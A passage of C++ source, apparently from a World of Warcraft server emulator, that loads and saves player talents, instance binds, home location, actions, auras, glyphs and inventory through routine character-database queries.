TalentTabEntry const* talentTabInfo = sTalentTabStore.LookupEntry(talentInfo->TalentTab);
if (!talentTabInfo)
{
sLog.outError("Player::_LoadTalents:Player (GUID: %u) has invalid talentTabInfo: %u for talentID: %u , this talent will be deleted from character_talent",GetGUIDLow(), talentInfo->TalentTab, talentInfo->TalentID );
CharacterDatabase.PExecute("DELETE FROM character_talent WHERE talent_id = '%u'", talent_id);
continue;
}
// prevent load talent for different class (cheating)
if ((getClassMask() & talentTabInfo->ClassMask) == 0)
{
sLog.outError("Player::_LoadTalents:Player (GUID: %u) has talent with ClassMask: %u , but Player's ClassMask is: %u , talentID: %u , this talent will be deleted from character_talent",GetGUIDLow(), talentTabInfo->ClassMask, getClassMask() ,talentInfo->TalentID );
CharacterDatabase.PExecute("DELETE FROM character_talent WHERE guid = '%u' AND talent_id = '%u'", GetGUIDLow(), talent_id);
continue;
}
uint32 currentRank = fields[1].GetUInt32();
if (currentRank > MAX_TALENT_RANK || talentInfo->RankID[currentRank] == 0)
{
sLog.outError("Player::_LoadTalents:Player (GUID: %u) has invalid talent rank: %u , talentID: %u , this talent will be deleted from character_talent",GetGUIDLow(), currentRank, talentInfo->TalentID );
CharacterDatabase.PExecute("DELETE FROM character_talent WHERE guid = '%u' AND talent_id = '%u'", GetGUIDLow(), talent_id);
continue;
}
uint32 spec = fields[2].GetUInt32();
if (spec > MAX_TALENT_SPEC_COUNT)
{
sLog.outError("Player::_LoadTalents:Player (GUID: %u) has invalid talent spec: %u, spec will be deleted from character_talent", GetGUIDLow(), spec);
CharacterDatabase.PExecute("DELETE FROM character_talent WHERE spec = '%u' ", spec);
continue;
}
if (spec >= m_specsCount)
{
sLog.outError("Player::_LoadTalents:Player (GUID: %u) has invalid talent spec: %u , this spec will be deleted from character_talent.", GetGUIDLow(), spec);
CharacterDatabase.PExecute("DELETE FROM character_talent WHERE guid = '%u' AND spec = '%u' ", GetGUIDLow(), spec);
continue;
}
if (m_activeSpec == spec)
addSpell(talentInfo->RankID[currentRank], true,false,false,false);
else
{
PlayerTalent talent;
talent.currentRank = currentRank;
talent.talentEntry = talentInfo;
talent.state = PLAYERSPELL_UNCHANGED;
m_talents[spec][talentInfo->TalentID] = talent;
}
}
while (result->NextRow());
delete result;
}
}
void Player::_LoadGroup(QueryResult *result)
{
//QueryResult *result = CharacterDatabase.PQuery("SELECT groupId FROM group_member WHERE memberGuid='%u'", GetGUIDLow());
if (result)
{
uint32 groupId = (*result)[0].GetUInt32();
delete result;
if (Group* group = sObjectMgr.GetGroupById(groupId))
{
uint8 subgroup = group->GetMemberGroup(GetObjectGuid());
SetGroup(group, subgroup);
if (getLevel() >= LEVELREQUIREMENT_HEROIC)
{
// the group leader may change the instance difficulty while the player is offline
SetDungeonDifficulty(group->GetDungeonDifficulty());
SetRaidDifficulty(group->GetRaidDifficulty());
}
if (group->isLFDGroup())
sLFGMgr.LoadLFDGroupPropertiesForPlayer(this);
}
}
}
void Player::_LoadBoundInstances(QueryResult *result)
{
for(uint8 i = 0; i < MAX_DIFFICULTY; ++i)
m_boundInstances[i].clear();
Group *group = GetGroup();
//QueryResult *result = CharacterDatabase.PQuery("SELECT id, permanent, map, difficulty, extend, resettime FROM character_instance LEFT JOIN instance ON instance = id WHERE guid = '%u'", GUID_LOPART(m_guid));
if (result)
{
do
{
Field *fields = result->Fetch();
bool perm = fields[1].GetBool();
uint32 mapId = fields[2].GetUInt32();
uint32 instanceId = fields[0].GetUInt32();
uint8 difficulty = fields[3].GetUInt8();
bool extend = fields[4].GetBool();
time_t resetTime = (time_t)fields[5].GetUInt64();
// the resettime for normal instances is only saved when the InstanceSave is unloaded
// so the value read from the DB may be wrong here but only if the InstanceSave is loaded
// and in that case it is not used
MapEntry const* mapEntry = sMapStore.LookupEntry(mapId);
if(!mapEntry || !mapEntry->IsDungeon())
{
sLog.outError("_LoadBoundInstances: player %s(%d) has bind to nonexistent or not dungeon map %d", GetName(), GetGUIDLow(), mapId);
CharacterDatabase.PExecute("DELETE FROM character_instance WHERE guid = '%u' AND instance = '%u'", GetGUIDLow(), instanceId);
continue;
}
if (difficulty >= MAX_DIFFICULTY)
{
sLog.outError("_LoadBoundInstances: player %s(%d) has bind to nonexistent difficulty %d instance for map %u", GetName(), GetGUIDLow(), difficulty, mapId);
CharacterDatabase.PExecute("DELETE FROM character_instance WHERE guid = '%u' AND instance = '%u'", GetGUIDLow(), instanceId);
continue;
}
MapDifficultyEntry const* mapDiff = GetMapDifficultyData(mapId,Difficulty(difficulty));
if(!mapDiff)
{
sLog.outError("_LoadBoundInstances: player %s(%d) has bind to nonexistent difficulty %d instance for map %u", GetName(), GetGUIDLow(), difficulty, mapId);
CharacterDatabase.PExecute("DELETE FROM character_instance WHERE guid = '%u' AND instance = '%u'", GetGUIDLow(), instanceId);
continue;
}
if(!perm && group)
{
sLog.outError("_LoadBoundInstances: %s is in group (Id: %d) but has a non-permanent character bind to map %d,%d,%d",
GetGuidStr().c_str(), group->GetId(), mapId, instanceId, difficulty);
CharacterDatabase.PExecute("DELETE FROM character_instance WHERE guid = '%u' AND instance = '%u'",
GetGUIDLow(), instanceId);
continue;
}
// since non permanent binds are always solo bind, they can always be reset
DungeonPersistentState *state = (DungeonPersistentState*)sMapPersistentStateMgr.AddPersistentState(mapEntry, instanceId, Difficulty(difficulty), resetTime, !perm, true);
if (state)
BindToInstance(state, perm, true, extend);
} while(result->NextRow());
delete result;
}
}
InstancePlayerBind* Player::GetBoundInstance(uint32 mapid, Difficulty difficulty)
{
// some instances only have one difficulty
MapDifficultyEntry const* mapDiff = GetMapDifficultyData(mapid,difficulty);
if(!mapDiff)
return NULL;
MAPLOCK_READ(this, MAP_LOCK_TYPE_DEFAULT);
BoundInstancesMap::iterator itr = m_boundInstances[difficulty].find(mapid);
if (itr != m_boundInstances[difficulty].end())
return &itr->second;
else
return NULL;
}
void Player::UnbindInstance(uint32 mapid, Difficulty difficulty, bool unload)
{
MAPLOCK_WRITE(this, MAP_LOCK_TYPE_DEFAULT);
BoundInstancesMap::iterator itr = m_boundInstances[difficulty].find(mapid);
UnbindInstance(itr, difficulty, unload);
}
void Player::UnbindInstance(BoundInstancesMap::iterator &itr, Difficulty difficulty, bool unload)
{
if (itr != m_boundInstances[difficulty].end())
{
if (!unload)
CharacterDatabase.PExecute("DELETE FROM character_instance WHERE guid = '%u' AND instance = '%u' AND extend = 0",
GetGUIDLow(), itr->second.state->GetInstanceId());
itr->second.state->RemovePlayer(this); // state can become invalid
m_boundInstances[difficulty].erase(itr++);
}
}
InstancePlayerBind* Player::BindToInstance(DungeonPersistentState *state, bool permanent, bool load, bool extend)
{
if (state)
{
MAPLOCK_READ(this, MAP_LOCK_TYPE_DEFAULT);
InstancePlayerBind& bind = m_boundInstances[state->GetDifficulty()][state->GetMapId()];
if (bind.state)
{
// update the state when the group kills a boss
if (permanent != bind.perm || state != bind.state || extend != bind.extend)
if (!load)
CharacterDatabase.PExecute("UPDATE character_instance SET instance = '%u', permanent = '%u', extend ='%u' WHERE guid = '%u' AND instance = '%u'",
state->GetInstanceId(), permanent, extend, GetGUIDLow(), bind.state->GetInstanceId());
}
else
{
if (!load)
CharacterDatabase.PExecute("INSERT INTO character_instance (guid, instance, permanent, extend) VALUES ('%u', '%u', '%u', '%u')",
GetGUIDLow(), state->GetInstanceId(), permanent, extend);
}
if (bind.state != state)
{
if (bind.state)
bind.state->RemovePlayer(this);
state->AddPlayer(this);
}
if (permanent)
state->SetCanReset(false);
bind.state = state;
bind.perm = permanent;
bind.extend = extend;
if (!load)
DEBUG_LOG("Player::BindToInstance: %s(%d) is now bound to map %d, instance %d, difficulty %d",
GetName(), GetGUIDLow(), state->GetMapId(), state->GetInstanceId(), state->GetDifficulty());
return &bind;
}
else
return NULL;
}
DungeonPersistentState* Player::GetBoundInstanceSaveForSelfOrGroup(uint32 mapid)
{
MapEntry const* mapEntry = sMapStore.LookupEntry(mapid);
if (!mapEntry)
return NULL;
InstancePlayerBind *pBind = GetBoundInstance(mapid, GetDifficulty(mapEntry->IsRaid()));
DungeonPersistentState *state = pBind ? pBind->state : NULL;
// the player's permanent player bind is taken into consideration first
// then the player's group bind and finally the solo bind.
if (!pBind || !pBind->perm)
{
InstanceGroupBind *groupBind = NULL;
// use the player's difficulty setting (it may not be the same as the group's)
if (Group *group = GetGroup())
if (groupBind = group->GetBoundInstance(mapid, this))
state = groupBind->state;
}
return state;
}
void Player::BindToInstance()
{
WorldPacket data(SMSG_INSTANCE_SAVE_CREATED, 4);
data << uint32(0);
GetSession()->SendPacket(&data);
BindToInstance(_pendingBind, true);
}
void Player::SendRaidInfo()
{
uint32 counter = 0;
WorldPacket data(SMSG_RAID_INSTANCE_INFO, 4);
size_t p_counter = data.wpos();
data << uint32(counter); // placeholder
time_t now = time(NULL);
for(int i = 0; i < MAX_DIFFICULTY; ++i)
{
for (BoundInstancesMap::const_iterator itr = m_boundInstances[i].begin(); itr != m_boundInstances[i].end(); ++itr)
{
if (itr->second.perm)
{
DungeonPersistentState* state = itr->second.state;
data << uint32(state->GetMapId()); // map id
data << uint32(state->GetDifficulty()); // difficulty
data << ObjectGuid(state->GetInstanceGuid()); // instance guid
data << uint8((state->GetRealResetTime() > now) ? 1 : 0 ); // expired = 0
data << uint8(itr->second.extend ? 1 : 0); // extended = 1
data << uint32(state->GetRealResetTime() > now ? state->GetRealResetTime() - now
: DungeonResetScheduler::CalculateNextResetTime(GetMapDifficultyData(state->GetMapId(), state->GetDifficulty()))); // reset time
++counter;
}
}
}
data.put<uint32>(p_counter, counter);
GetSession()->SendPacket(&data);
}
/*
- called on every successful teleportation to a map
*/
void Player::SendSavedInstances()
{
bool hasBeenSaved = false;
WorldPacket data;
for(uint8 i = 0; i < MAX_DIFFICULTY; ++i)
{
for (BoundInstancesMap::const_iterator itr = m_boundInstances[i].begin(); itr != m_boundInstances[i].end(); ++itr)
{
if (itr->second.perm) // only permanent binds are sent
{
hasBeenSaved = true;
break;
}
}
}
//Send opcode 811. true or false means, whether you have current raid/heroic instances
data.Initialize(SMSG_UPDATE_INSTANCE_OWNERSHIP);
data << uint32(hasBeenSaved);
GetSession()->SendPacket(&data);
if(!hasBeenSaved)
return;
for(uint8 i = 0; i < MAX_DIFFICULTY; ++i)
{
for (BoundInstancesMap::const_iterator itr = m_boundInstances[i].begin(); itr != m_boundInstances[i].end(); ++itr)
{
if (itr->second.perm)
{
data.Initialize(SMSG_UPDATE_LAST_INSTANCE);
data << uint32(itr->second.state->GetMapId());
GetSession()->SendPacket(&data);
}
}
}
}
/// convert the player's binds to the group
void Player::ConvertInstancesToGroup(Player *player, Group *group, ObjectGuid player_guid)
{
bool has_binds = false;
bool has_solo = false;
if (player)
{
player_guid = player->GetObjectGuid();
if (!group)
group = player->GetGroup();
}
MANGOS_ASSERT(player_guid);
// copy all binds to the group, when changing leader it's assumed the character
// will not have any solo binds
if (player)
{
for(uint8 i = 0; i < MAX_DIFFICULTY; ++i)
{
for (BoundInstancesMap::iterator itr = player->m_boundInstances[i].begin(); itr != player->m_boundInstances[i].end();)
{
has_binds = true;
if (group)
group->BindToInstance(itr->second.state, itr->second.perm, true);
// permanent binds are not removed
if (!itr->second.perm)
{
// increments itr in call
player->UnbindInstance(itr, Difficulty(i), true);
has_solo = true;
}
else
++itr;
}
}
}
uint32 player_lowguid = player_guid.GetCounter();
// if the player's not online we don't know what binds it has
if (!player || !group || has_binds)
CharacterDatabase.PExecute("REPLACE INTO group_instance SELECT guid, instance, permanent FROM character_instance WHERE guid = '%u'", player_lowguid);
// the following should not get executed when changing leaders
if (!player || has_solo)
CharacterDatabase.PExecute("DELETE FROM character_instance WHERE guid = '%u' AND permanent = 0 AND extend = 0", player_lowguid);
}
bool Player::_LoadHomeBind(QueryResult *result)
{
PlayerInfo const *info = sObjectMgr.GetPlayerInfo(getRace(), getClass());
if(!info)
{
sLog.outError("Player have incorrect race/class pair. Can't be loaded.");
return false;
}
bool ok = false;
//QueryResult *result = CharacterDatabase.PQuery("SELECT map,zone,position_x,position_y,position_z FROM character_homebind WHERE guid = '%u'", GUID_LOPART(playerGuid));
if (result)
{
Field *fields = result->Fetch();
m_homebindMapId = fields[0].GetUInt32();
m_homebindAreaId = fields[1].GetUInt16();
m_homebindX = fields[2].GetFloat();
m_homebindY = fields[3].GetFloat();
m_homebindZ = fields[4].GetFloat();
delete result;
MapEntry const* bindMapEntry = sMapStore.LookupEntry(m_homebindMapId);
// accept saved data only for valid position (and non instanceable), and accessable
if ( MapManager::IsValidMapCoord(m_homebindMapId,m_homebindX,m_homebindY,m_homebindZ) &&
!bindMapEntry->Instanceable() && GetSession()->Expansion() >= bindMapEntry->Expansion())
{
ok = true;
}
else
CharacterDatabase.PExecute("DELETE FROM character_homebind WHERE guid = '%u'", GetGUIDLow());
}
if(!ok)
{
m_homebindMapId = info->mapId;
m_homebindAreaId = info->areaId;
m_homebindX = info->positionX;
m_homebindY = info->positionY;
m_homebindZ = info->positionZ;
CharacterDatabase.PExecute("INSERT INTO character_homebind (guid,map,zone,position_x,position_y,position_z) VALUES ('%u', '%u', '%u', '%f', '%f', '%f')", GetGUIDLow(), m_homebindMapId, (uint32)m_homebindAreaId, m_homebindX, m_homebindY, m_homebindZ);
}
DEBUG_LOG("Setting player home position: mapid is: %u, zoneid is %u, X is %f, Y is %f, Z is %f",
m_homebindMapId, m_homebindAreaId, m_homebindX, m_homebindY, m_homebindZ);
return true;
}
/*********************************************************/
/*** SAVE SYSTEM ***/
/*********************************************************/
void Player::SaveToDB()
{
// we should assure this: ASSERT((m_nextSave != sWorld.getConfig(CONFIG_UINT32_INTERVAL_SAVE)));
// delay auto save at any saves (manual, in code, or autosave)
m_nextSave = sWorld.getConfig(CONFIG_UINT32_INTERVAL_SAVE);
//lets allow only players in world to be saved
if (IsBeingTeleportedFar())
{
ScheduleDelayedOperation(DELAYED_SAVE_PLAYER);
return;
}
// first save/honor gain after midnight will also update the player's honor fields
UpdateHonorFields();
DEBUG_FILTER_LOG(LOG_FILTER_PLAYER_STATS, "The value of player %s at save: ", m_name.c_str());
outDebugStatsValues();
CharacterDatabase.BeginTransaction();
static SqlStatementID delChar ;
static SqlStatementID insChar ;
SqlStatement stmt = CharacterDatabase.CreateStatement(delChar, "DELETE FROM characters WHERE guid = ?");
stmt.PExecute(GetGUIDLow());
SqlStatement uberInsert = CharacterDatabase.CreateStatement(insChar, "INSERT INTO characters (guid,account,name,race,class,gender,level,xp,money,playerBytes,playerBytes2,playerFlags,"
"map, dungeon_difficulty, position_x, position_y, position_z, orientation, "
"taximask, online, cinematic, "
"totaltime, leveltime, rest_bonus, logout_time, is_logout_resting, resettalents_cost, resettalents_time, "
"trans_x, trans_y, trans_z, trans_o, transguid, extra_flags, stable_slots, at_login, zone, "
"death_expire_time, taxi_path, arenaPoints, totalHonorPoints, todayHonorPoints, yesterdayHonorPoints, totalKills, "
"todayKills, yesterdayKills, chosenTitle, knownCurrencies, watchedFaction, drunk, health, power1, power2, power3, "
"power4, power5, power6, power7, specCount, activeSpec, exploredZones, equipmentCache, ammoId, knownTitles, actionBars, grantableLevels) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, "
"?, ?, ?, ?, ?, ?, "
"?, ?, ?, "
"?, ?, ?, ?, ?, ?, ?, "
"?, ?, ?, ?, ?, ?, ?, ?, ?, "
"?, ?, ?, ?, ?, ?, ?, "
"?, ?, ?, ?, ?, ?, ?, ?, ?, ?, "
"?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) ");
uberInsert.addUInt32(GetGUIDLow());
uberInsert.addUInt32(GetSession()->GetAccountId());
uberInsert.addString(m_name);
uberInsert.addUInt8(getRace());
uberInsert.addUInt8(getClass());
uberInsert.addUInt8(getGender());
uberInsert.addUInt32(getLevel());
uberInsert.addUInt32(GetUInt32Value(PLAYER_XP));
uberInsert.addUInt32(GetMoney());
uberInsert.addUInt32(GetUInt32Value(PLAYER_BYTES));
uberInsert.addUInt32(GetUInt32Value(PLAYER_BYTES_2));
uberInsert.addUInt32(GetUInt32Value(PLAYER_FLAGS));
if(!IsBeingTeleported())
{
uberInsert.addUInt32(GetMapId());
uberInsert.addUInt32(GetDifficulty());
uberInsert.addFloat(finiteAlways(GetPositionX()));
uberInsert.addFloat(finiteAlways(GetPositionY()));
uberInsert.addFloat(finiteAlways(GetPositionZ()));
uberInsert.addFloat(finiteAlways(GetOrientation()));
}
else
{
uberInsert.addUInt32(GetTeleportDest().mapid);
uberInsert.addUInt32(GetDifficulty());
uberInsert.addFloat(finiteAlways(GetTeleportDest().coord_x));
uberInsert.addFloat(finiteAlways(GetTeleportDest().coord_y));
uberInsert.addFloat(finiteAlways(GetTeleportDest().coord_z));
uberInsert.addFloat(finiteAlways(GetTeleportDest().orientation));
}
std::ostringstream ss;
ss << m_taxi; // string with TaxiMaskSize numbers
uberInsert.addString(ss);
uberInsert.addUInt32(IsInWorld() ? 1 : 0);
uberInsert.addUInt32(m_cinematic);
uberInsert.addUInt32(m_Played_time[PLAYED_TIME_TOTAL]);
uberInsert.addUInt32(m_Played_time[PLAYED_TIME_LEVEL]);
uberInsert.addFloat(finiteAlways(m_rest_bonus));
uberInsert.addUInt64(uint64(time(NULL)));
uberInsert.addUInt32(HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_RESTING) ? 1 : 0);
//save, far from tavern/city
//save, but in tavern/city
uberInsert.addUInt32(m_resetTalentsCost);
uberInsert.addUInt64(uint64(m_resetTalentsTime));
uberInsert.addFloat(finiteAlways(m_movementInfo.GetTransportPos()->x));
uberInsert.addFloat(finiteAlways(m_movementInfo.GetTransportPos()->y));
uberInsert.addFloat(finiteAlways(m_movementInfo.GetTransportPos()->z));
uberInsert.addFloat(finiteAlways(m_movementInfo.GetTransportPos()->o));
if (m_transport)
uberInsert.addUInt32(m_transport->GetGUIDLow());
else
uberInsert.addUInt32(0);
uberInsert.addUInt32(m_ExtraFlags);
uberInsert.addUInt32(uint32(m_stableSlots)); // to prevent save uint8 as char
uberInsert.addUInt32(uint32(m_atLoginFlags));
uberInsert.addUInt32(IsInWorld() ? GetZoneId() : GetCachedZoneId());
uberInsert.addUInt64(uint64(m_deathExpireTime));
ss << m_taxi.SaveTaxiDestinationsToString(); //string
uberInsert.addString(ss);
uberInsert.addUInt32(GetArenaPoints());
uberInsert.addUInt32(GetHonorPoints());
uberInsert.addUInt32(GetUInt32Value(PLAYER_FIELD_TODAY_CONTRIBUTION) );
uberInsert.addUInt32(GetUInt32Value(PLAYER_FIELD_YESTERDAY_CONTRIBUTION));
uberInsert.addUInt32(GetUInt32Value(PLAYER_FIELD_LIFETIME_HONORBALE_KILLS));
uberInsert.addUInt16(GetUInt16Value(PLAYER_FIELD_KILLS, 0));
uberInsert.addUInt16(GetUInt16Value(PLAYER_FIELD_KILLS, 1));
uberInsert.addUInt32(GetUInt32Value(PLAYER_CHOSEN_TITLE));
uberInsert.addUInt64(GetUInt64Value(PLAYER_FIELD_KNOWN_CURRENCIES));
// FIXME: at this moment send to DB as unsigned, including unit32(-1)
uberInsert.addUInt32(GetUInt32Value(PLAYER_FIELD_WATCHED_FACTION_INDEX));
uberInsert.addUInt16(uint16(GetUInt32Value(PLAYER_BYTES_3) & 0xFFFE));
uberInsert.addUInt32(GetHealth());
for(uint32 i = 0; i < MAX_POWERS; ++i)
uberInsert.addUInt32(GetPower(Powers(i)));
uberInsert.addUInt32(uint32(m_specsCount));
uberInsert.addUInt32(uint32(m_activeSpec));
for(uint32 i = 0; i < PLAYER_EXPLORED_ZONES_SIZE; ++i ) //string
{
ss << GetUInt32Value(PLAYER_EXPLORED_ZONES_1 + i) << " ";
}
uberInsert.addString(ss);
for(uint32 i = 0; i < EQUIPMENT_SLOT_END * 2; ++i ) //string
{
ss << GetUInt32Value(PLAYER_VISIBLE_ITEM_1_ENTRYID + i) << " ";
}
uberInsert.addString(ss);
uberInsert.addUInt32(GetUInt32Value(PLAYER_AMMO_ID));
for(uint32 i = 0; i < KNOWN_TITLES_SIZE*2; ++i ) //string
{
ss << GetUInt32Value(PLAYER__FIELD_KNOWN_TITLES + i) << " ";
}
uberInsert.addString(ss);
uberInsert.addUInt32(uint32(GetByteValue(PLAYER_FIELD_BYTES, 2)));
uberInsert.addUInt32(uint32(m_GrantableLevelsCount));
uberInsert.Execute();
if (m_mailsUpdated) //save mails only when needed
_SaveMail();
_SaveBGData();
_SaveInventory();
_SaveQuestStatus();
_SaveDailyQuestStatus();
_SaveWeeklyQuestStatus();
_SaveMonthlyQuestStatus();
_SaveSpells();
_SaveSpellCooldowns();
_SaveActions();
_SaveAuras();
_SaveSkills();
m_achievementMgr.SaveToDB();
m_reputationMgr.SaveToDB();
_SaveEquipmentSets();
GetSession()->SaveTutorialsData(); // changed only while character in game
_SaveGlyphs();
_SaveTalents();
CharacterDatabase.CommitTransaction();
// check if stats should only be saved on logout
// save stats can be out of transaction
if (m_session->isLogingOut() || !sWorld.getConfig(CONFIG_BOOL_STATS_SAVE_ONLY_ON_LOGOUT))
_SaveStats();
// save pet (hunter pet level and experience and all type pets health/mana).
if (Pet* pet = GetPet())
pet->SavePetToDB(PET_SAVE_AS_CURRENT);
}
// fast save function for item/money cheating preventing - save only inventory and money state
void Player::SaveInventoryAndGoldToDB()
{
_SaveInventory();
SaveGoldToDB();
}
void Player::SaveGoldToDB()
{
static SqlStatementID updateGold ;
SqlStatement stmt = CharacterDatabase.CreateStatement(updateGold, "UPDATE characters SET money = ? WHERE guid = ?");
stmt.PExecute(GetMoney(), GetGUIDLow());
}
void Player::_SaveActions()
{
static SqlStatementID insertAction ;
static SqlStatementID updateAction ;
static SqlStatementID deleteAction ;
for(int i = 0; i < MAX_TALENT_SPEC_COUNT; ++i)
{
for(ActionButtonList::iterator itr = m_actionButtons[i].begin(); itr != m_actionButtons[i].end(); )
{
switch (itr->second.uState)
{
case ACTIONBUTTON_NEW:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(insertAction, "INSERT INTO character_action (guid,spec, button,action,type) VALUES (?, ?, ?, ?, ?)");
stmt.addUInt32(GetGUIDLow());
stmt.addUInt32(i);
stmt.addUInt32(uint32(itr->first));
stmt.addUInt32(itr->second.GetAction());
stmt.addUInt32(uint32(itr->second.GetType()));
stmt.Execute();
itr->second.uState = ACTIONBUTTON_UNCHANGED;
++itr;
}
break;
case ACTIONBUTTON_CHANGED:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(updateAction, "UPDATE character_action SET action = ?, type = ? WHERE guid = ? AND button = ? AND spec = ?");
stmt.addUInt32(itr->second.GetAction());
stmt.addUInt32(uint32(itr->second.GetType()));
stmt.addUInt32(GetGUIDLow());
stmt.addUInt32(uint32(itr->first));
stmt.addUInt32(i);
stmt.Execute();
itr->second.uState = ACTIONBUTTON_UNCHANGED;
++itr;
}
break;
case ACTIONBUTTON_DELETED:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(deleteAction, "DELETE FROM character_action WHERE guid = ? AND button = ? AND spec = ?");
stmt.addUInt32(GetGUIDLow());
stmt.addUInt32(uint32(itr->first));
stmt.addUInt32(i);
stmt.Execute();
m_actionButtons[i].erase(itr++);
}
break;
default:
++itr;
break;
}
}
}
}
void Player::_SaveAuras()
{
static SqlStatementID deleteAuras ;
static SqlStatementID insertAuras ;
MAPLOCK_READ(this,MAP_LOCK_TYPE_AURAS);
SqlStatement stmt = CharacterDatabase.CreateStatement(deleteAuras, "DELETE FROM character_aura WHERE guid = ?");
stmt.PExecute(GetGUIDLow());
SpellAuraHolderMap const& auraHolders = GetSpellAuraHolderMap();
if (auraHolders.empty())
return;
stmt = CharacterDatabase.CreateStatement(insertAuras, "INSERT INTO character_aura (guid, caster_guid, item_guid, spell, stackcount, remaincharges, "
"basepoints0, basepoints1, basepoints2, periodictime0, periodictime1, periodictime2, maxduration, remaintime, effIndexMask) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
for(SpellAuraHolderMap::const_iterator itr = auraHolders.begin(); itr != auraHolders.end(); ++itr)
{
//skip all holders from spells that are passive or channeled
//do not save single target holders (unless they were cast by the player)
if (itr->second && !itr->second->IsDeleted() && !itr->second->IsPassive() && !IsChanneledSpell(itr->second->GetSpellProto()) && (itr->second->GetCasterGuid() == GetObjectGuid() || !itr->second->IsSingleTarget()) && !IsChanneledSpell(itr->second->GetSpellProto()))
{
int32 damage[MAX_EFFECT_INDEX];
uint32 periodicTime[MAX_EFFECT_INDEX];
uint32 effIndexMask = 0;
for (uint32 i = 0; i < MAX_EFFECT_INDEX; ++i)
{
damage[i] = 0;
periodicTime[i] = 0;
if (Aura *aur = itr->second->GetAuraByEffectIndex(SpellEffectIndex(i)))
{
// don't save not own area auras
if (aur->IsAreaAura() && itr->second->GetCasterGuid() != GetObjectGuid())
continue;
damage[i] = aur->GetModifier()->m_amount;
periodicTime[i] = aur->GetModifier()->periodictime;
effIndexMask |= (1 << i);
}
}
if (!effIndexMask)
continue;
stmt.addUInt32(GetGUIDLow());
stmt.addUInt64(itr->second->GetCasterGuid().GetRawValue());
stmt.addUInt32(itr->second->GetCastItemGuid().GetCounter());
stmt.addUInt32(itr->second->GetId());
stmt.addUInt32(itr->second->GetStackAmount());
stmt.addUInt8(itr->second->GetAuraCharges());
for (uint32 i = 0; i < MAX_EFFECT_INDEX; ++i)
stmt.addInt32(damage[i]);
for (uint32 i = 0; i < MAX_EFFECT_INDEX; ++i)
stmt.addUInt32(periodicTime[i]);
stmt.addInt32(itr->second->GetAuraMaxDuration());
stmt.addInt32(itr->second->GetAuraDuration());
stmt.addUInt32(effIndexMask);
stmt.Execute();
}
}
}
void Player::_SaveGlyphs()
{
static SqlStatementID insertGlyph ;
static SqlStatementID updateGlyph ;
static SqlStatementID deleteGlyph ;
for (uint8 spec = 0; spec < m_specsCount; ++spec)
{
for (uint8 slot = 0; slot < MAX_GLYPH_SLOT_INDEX; ++slot)
{
switch(m_glyphs[spec][slot].uState)
{
case GLYPH_NEW:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(insertGlyph, "INSERT INTO character_glyphs (guid, spec, slot, glyph) VALUES (?, ?, ?, ?)");
stmt.PExecute(GetGUIDLow(), spec, slot, m_glyphs[spec][slot].GetId());
}
break;
case GLYPH_CHANGED:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(updateGlyph, "UPDATE character_glyphs SET glyph = ? WHERE guid = ? AND spec = ? AND slot = ?");
stmt.PExecute(m_glyphs[spec][slot].GetId(), GetGUIDLow(), spec, slot);
}
break;
case GLYPH_DELETED:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(deleteGlyph, "DELETE FROM character_glyphs WHERE guid = ? AND spec = ? AND slot = ?");
stmt.PExecute(GetGUIDLow(), spec, slot);
}
break;
case GLYPH_UNCHANGED:
break;
}
m_glyphs[spec][slot].uState = GLYPH_UNCHANGED;
}
}
}
void Player::_SaveInventory()
{
// force items in buyback slots to new state
// and remove those that aren't already
for (uint8 i = BUYBACK_SLOT_START; i < BUYBACK_SLOT_END; ++i)
{
Item *item = m_items[i];
if (!item || item->GetState() == ITEM_NEW) continue;
static SqlStatementID delInv ;
static SqlStatementID delItemInst ;
SqlStatement stmt = CharacterDatabase.CreateStatement(delInv, "DELETE FROM character_inventory WHERE item = ?");
stmt.PExecute(item->GetGUIDLow());
stmt = CharacterDatabase.CreateStatement(delItemInst, "DELETE FROM item_instance WHERE guid = ?");
stmt.PExecute(item->GetGUIDLow());
m_items[i]->FSetState(ITEM_NEW);
}
// update enchantment durations
for(EnchantDurationList::const_iterator itr = m_enchantDuration.begin();itr != m_enchantDuration.end();++itr)
{
itr->item->SetEnchantmentDuration(itr->slot,itr->leftduration);
}
// if no changes
if (m_itemUpdateQueue.empty()) return;
// do not save if the update queue is corrupt
bool error = false;
for(size_t i = 0; i < m_itemUpdateQueue.size(); ++i)
{
Item *item = m_itemUpdateQueue[i];
if(!item || item->GetState() == ITEM_REMOVED) continue;
Item *test = GetItemByPos( item->GetBagSlot(), item->GetSlot());
GetAntiCheat()->DoAntiCheatCheck(CHECK_ITEM_UPDATE,item,test);
if (test == NULL)
{
sLog.outError("Player(GUID: %u Name: %s)::_SaveInventory - the bag(%d) and slot(%d) values for the item with guid %d are incorrect, the player doesn't have an item at that position!", GetGUIDLow(), GetName(), item->GetBagSlot(), item->GetSlot(), item->GetGUIDLow());
error = true;
}
else if (test != item)
{
sLog.outError("Player(GUID: %u Name: %s)::_SaveInventory - the bag(%d) and slot(%d) values for the item with guid %d are incorrect, the item with guid %d is there instead!", GetGUIDLow(), GetName(), item->GetBagSlot(), item->GetSlot(), item->GetGUIDLow(), test->GetGUIDLow());
error = true;
}
}
if (error)
{
sLog.outError("Player::_SaveInventory - one or more errors occurred save aborted!");
ChatHandler(this).SendSysMessage(LANG_ITEM_SAVE_FAILED);
return;
}
static SqlStatementID insertInventory ;
static SqlStatementID updateInventory ;
static SqlStatementID deleteInventory ;
for(size_t i = 0; i < m_itemUpdateQueue.size(); ++i)
{
Item *item = m_itemUpdateQueue[i];
if(!item) continue;
Bag *container = item->GetContainer();
uint32 bag_guid = container ? container->GetGUIDLow() : 0;
switch(item->GetState())
{
case ITEM_NEW:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(insertInventory, "INSERT INTO character_inventory (guid,bag,slot,item,item_template) VALUES (?, ?, ?, ?, ?)");
stmt.addUInt32(GetGUIDLow());
stmt.addUInt32(bag_guid);
stmt.addUInt8(item->GetSlot());
stmt.addUInt32(item->GetGUIDLow());
stmt.addUInt32(item->GetEntry());
stmt.Execute();
}
break;
case ITEM_CHANGED:
{
